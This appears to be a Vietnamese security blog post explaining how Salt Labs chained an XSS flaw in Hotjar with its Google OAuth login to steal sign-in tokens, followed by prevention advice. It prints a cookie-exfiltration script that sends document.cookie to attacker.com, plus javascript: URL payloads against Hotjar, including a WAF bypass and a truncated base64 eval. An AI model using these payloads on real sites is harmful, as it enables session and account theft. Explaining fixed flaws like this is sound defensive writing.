Hàng triệu trang web có khả năng bị tấn công XSS thông qua lỗ hổng trong việc triển khai OAuth

Salt Labs, bộ phận nghiên cứu của công ty bảo mật API Salt Security, đã phát hiện và công bố chi tiết về một cuộc tấn công cross-site scripting (XSS) vào Hotjar thông qua cơ chế đăng nhập dựa trên OAuth, và có khả năng ảnh hưởng đến hàng triệu trang web trên khắp thế giới.

1. XSS là gì?

Cross-site scripting (hay còn gọi là XSS) là một trong những lỗ hổng web phổ biến nhất. Kể từ lần đầu tiên xuất hiện, vô số lỗ hổng XSS đã được tìm thấy khắp các trang web trên Internet. Do đó, XSS liên tục được đánh giá là rủi ro hàng đầu trong OWASP TOP-10 kể từ lần đầu tiên nó xuất hiện trong danh sách này vào năm 2004!

Nói một cách ngắn gọn, lỗi XSS được lợi dụng để chạy mã JavaScript (JS) trên trình duyệt của nạn nhân.

Hãy lấy một ví dụ về trang web dễ bị tấn công, https://xss.example.com, với mục đích hiển thị input ra màn hình.

Ví dụ, ta có URL:

https://xss.example.com/?input=Hello

Sẽ hiển thị dòng chữ “Hello” ra màn hình.

Nếu viết code HTML/JS vào input, trình duyệt sẽ cho rằng mã đó được tạo bởi backend và xử lý nó như một đoạn code HTML/JS hợp pháp.

Ví dụ, nếu ta input vào URL này một đoạn script:

https://xss.example.com/?input=<script>alert(“xss”)</script>

Thì backend sẽ xử lý <script>alert(‘xss’)</script> như một đoạn code JS, điều này sẽ khiến trình duyệt hiện lên một thông báo có nội dung "xss".

Nếu trang web có lưu trữ những thông tin bí mật như cookies, kẻ tấn công có thể đánh cắp nó dựa vào lỗ hổng XSS:

https://xss.example.com/?input=<script>document.location="http://attacker.com/index.php?cookie=" + document.cookie;</script>.

Kẻ tấn công có thể gửi link này cho nạn nhân thông qua email, mạng xã hội hoặc các phương thức lừa đảo khác. Khi nạn nhân nhấp vào liên kết này, cookies của họ được lưu trữ trên trang https://xss.example.com, sẽ được chuyển về trang http://attacker.com của kẻ tấn công, và từ đó hacker sẽ có toàn quyền truy cập trái phép vào tài khoản của nạn nhân.

2. Phân tích lỗ hổng XSS trên Hotjar

Các nhà nghiên cứu bảo mật phát hiện ra lỗ hổng XSS trong Hotjar, là một công cụ phân tích và khảo sát người dùng, được tích hợp trên hơn một triệu trang web. Do tính chất của công cụ này là phân tích hoạt động của người dùng, mà dữ liệu mà nó thu thập có thể bao gồm dữ liệu cá nhân và và thông tin nhạy cảm, chẳng hạn như tên, email, địa chỉ, tin nhắn riêng tư, thông tin ngân hàng và thậm chí cả một vai loại thông tin xác thực.

Các nhà nghiên cứu phân tích mã JS để tìm lỗ hổng bằng cách tìm kiếm Sink functions, là các đoạn code JS chạy các đối số dưới dạng mã HTML/JS. Sau khi phân tích, họ phát hiện ra đoạn code chứa lỗ hổng này:

Khi sử dụng window.location.replace, có thể chạy javascript bằng cách sử dụng “URL” javascript:[code], như ví dụ sau:

https://insights.hotjar.com/?next=?fromLMS=1%26returnURL=javascript:alert('Hello XSS')&extraVar=jsvar32312

Lưu ý rằng "extraVar” chỉ được sử dụng để bypass WAF và không liên quan đến vấn đề hiện tại.

3. Chiếm quyền truy cập tài khoản Hotjar thông qua tính năng OAuth

Quay lại với tiêu đề chính của bài, một trong những tính năng trong Hotjar (và hầu hết trang web có chức năng đăng nhập) là đăng nhập bằng tài khoản mạng xã hội, dựa trên OAuth (the open standard for authorization).

Khi đăng nhập Hotjar bằng tài khoản Google, Hotjar chuyển hướng người dùng đến Google. Google sẽ tạo một mã secret token và người dùng chuyển lại mã đó cho Hotjar để hoàn tất quá trình xác thực.

Ví dụ một đường dẫn mà Google chuyển hướng người dùng quay lại Hotjar bằng URL có chứa secret token:

https://insights.hotjar.com/api/sso/google-auth?state=[state]&code=[secret_code]

Secret token sẽ nằm trong URL - và đó là thứ mà mã javascript có thể đọc được.

Kết hợp lỗ hổng XSS đã được phân tích ở trên với tính năng OAuth này, các nhà nghiên cứu có thể sử dụng javascript để lấy token từ một phiên đăng nhập Hotjar bằng tài khoản Google bằng cách sử dụng một đường link độc hại như dưới đây (đoạn code JS được encoded bằng base64 để tránh bị phát hiện):

https://insights.hotjar.com/?next=?fromLMS=1%26returnURL=javascript:eval(atob('CmI9d2luZG93Lm9wZW4oIm…'))&extraVar=jsvar32312

Khi nạn nhân nhấp vào liên kết này (có tên miền hợp lệ), secret token của họ sẽ được chuyển cho kẻ tấn công. Sau khi có được secret token này, kẻ tấn công có thể bắt đầu phiên đăng nhập mới trong Hotjar nhưng thay thế token của chúng bằng token nạn nhân - dẫn đến việc chiếm toàn bộ quyền truy cập tài khoản.

4. Mức độ ảnh hưởng

HotJar lưu trữ thông tin hành vi của người dùng, bao gồm cả hoạt động của bàn phím và chuột. Dữ liệu này bao gồm tên, email, địa chỉ, tin nhắn riêng tư, thông tin ngân hàng, thông tin xác thực (trong vài trường hợp cụ thể), v.v.

Trong trường hợp chiếm đoạt tài khoản Hotjar thành công, kẻ tấn công có thể thay đổi cài đặt và theo dõi hầu hết dữ liệu nhạy cảm. Hơn nữa, kẻ tấn công có thể dựa vào những dữ liệu này để tìm ra tài khoản quản trị viên của những trang web sử dụng Hotjar, và lợi dụng nó để chiếm lấy quyền kiểm soát trang web.

5. Khuyến nghị

Lỗ hổng này đã được Salt Labs phát hiện và phía Hotjar cũng đã khắc phục hoàn toàn.

Phía FPT Threat Intelligence khuyến nghị tổ chức một số cách để phòng chống tấn công XSS với trang web:

  • Input Sanitization và Output Encoding: Các nhà phát triển phần mềm cần làm sạch dữ liệu đầu vào của người dùng và đảm bảo không có code HTML/JS nào từ đầu vào được xử lý dưới dạng JS/HTML ở đầu ra.

  • Sử dụng các Web Frameworks mới: Các frameworks mới được tích hợp các moudule để chống lại tấn công bằng XSS một cách tự động.

  • HTTP-Only: Tính năng này giúp tăng cường đáng kể tính bảo mật bằng cách ngăn chặn quyền truy cập vào các giá trị cookie thông qua script phía máy khách.

  • CSP: Content Security Policy (CSP) là tính năng cho phép quản trị viên chỉ định các source an toàn cho trang web, từ đó ngăn chặn cách script độc hại từ các nguồn không xác định.

6. Tham khảo

  1. Over 1 Million websites are at risk of sensitive information leakage - XSS is dead. Long live XSS:

    https://salt.security/blog/over-1-million-websites-are-at-risk-of-sensitive-information-leakage---xss-is-dead-long-live-xss

  2. Millions of Websites Susceptible to XSS Attack via OAuth Implementation Flaw:

    https://www.securityweek.com/millions-of-websites-susceptible-xss-attack-via-oauth-implementation-flaw/

0
Subscribe to my newsletter

Read articles from Tran Hoang Phong directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Tran Hoang Phong
Tran Hoang Phong

Just a SOC Analysis ^^